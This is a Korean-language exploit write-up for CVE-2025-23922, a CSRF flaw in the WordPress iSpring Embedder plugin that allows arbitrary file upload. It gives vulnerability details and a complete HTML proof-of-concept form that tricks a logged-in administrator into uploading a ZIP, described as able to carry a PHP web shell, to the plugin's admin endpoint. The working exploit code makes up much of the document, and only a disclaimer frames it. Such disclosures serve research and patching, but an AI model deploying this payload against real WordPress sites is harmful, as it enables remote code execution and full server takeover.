CVE-2025-23922 - WordPress iSpring Embedder CSRF를 통한 임의 파일 업로드

📌 CVE 상세

CVE ID: CVE-2025-23922
게시일: 2025-01-16
영향받는 플러그인: WordPress iSpring Embedder 플러그인
영향받는 버전: <= 1.0
플러그인 작성자: Harsh
취약점 유형: 사이트 간 요청 위조(CSRF) → 임의 파일 업로드
CWE ID: CWE-352: 사이트 간 요청 위조(CSRF)
CVSS 점수: 10.0 (심각)
벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

🔥 설명

iSpring Embedder WordPress 플러그인의 CSRF 취약점을 통해 인증되지 않은 원격 공격자가 인증된 관리자를 속여 서버에 임의 파일(PHP 웹 셸 등)을 업로드하도록 할 수 있습니다.

취약한 엔드포인트는 CSRF 보호를 구현하지 않으며, 파일 업로드 기능은 .zip 파일을 허용하여 다음 위치에 추출됩니다.

/wp-content/uploads/iSpring_embedder/

💡 영향

공격자는 다음을 수행할 수 있습니다.

인증 없이 파일 업로드를 트리거합니다.
ZIP 아카이브 내에 악성 PHP 파일을 업로드하여 원격 코드 실행(RCE)을 얻습니다.
조작된 웹 셸과 연계하여 전체 웹 서버를 손상시킬 수 있습니다.

🚀 개념 증명(PoC) 익스플로잇 (HTML)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF File Upload Exploit</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f4f4f4;
      padding: 20px;
    }
    .container {
      background: #fff;
      padding: 25px;
      border-radius: 10px;
      box-shadow: 0 0 10px rgba(0,0,0,0.1);
      max-width: 600px;
      margin: auto;
    }
    h1 {
      color: #d9534f;
    }
    input[type="file"],
    input[type="submit"] {
      margin-top: 10px;
      padding: 10px;
      font-size: 16px;
    }
    .footer {
      margin-top: 30px;
      font-size: 14px;
      color: #777;
      text-align: center;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>CSRF Exploit – File Upload</h1>

    <p>
      This is a proof-of-concept (PoC) exploit for the following vulnerability:
    </p>
    <ul>
      <li><strong>Vulnerability:</strong> CSRF leading to Arbitrary File Upload</li>
      <li><strong>Plugin:</strong> iSpring Embedder for WordPress (<= v1.0)</li>
      <li><strong>CVE:</strong> CVE-2025-23922</li>
      <li><strong>Impact:</strong> Remote attackers can coerce an authenticated administrator to upload arbitrary files, potentially including web shells.</li>
      <li><strong>Upload Path:</strong> <code>/wp-content/uploads/iSpring_embedder/</code></li>
    </ul>

    <form id="csrfForm" action="http://wordpresssite/wp-admin/admin.php?page=ispring-embedder" method="POST" enctype="multipart/form-data">
      <label><strong>Select ZIP file to upload:</strong></label><br>
      <input type="file" name="zip_file" required><br>
      <input type="hidden" name="file_name" value="exploit_csrf">
      <input type="submit" name="submit_ispring_form" value="Upload File via CSRF">
    </form>

    <div class="footer">
      <p>
        Exploit for <strong>CSRF to Arbitrary File Upload vulnerability</strong><br>
        <strong>CVE-2025-23922</strong><br>
        Developed by <strong>Nxploit | Khaled Alenazi</strong>
      </p>
    </div>
  </div>
</body>
</html>

⚠️ 면책 조항

이 개념 증명은 교육 및 연구 목적으로만 제공됩니다.
저자는 이 익스플로잇으로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

Nxploit | Khaled Alenazi
보안 연구원 및 익스플로잇 개발자
https://github.com/Nxploit

CVE-2025-23922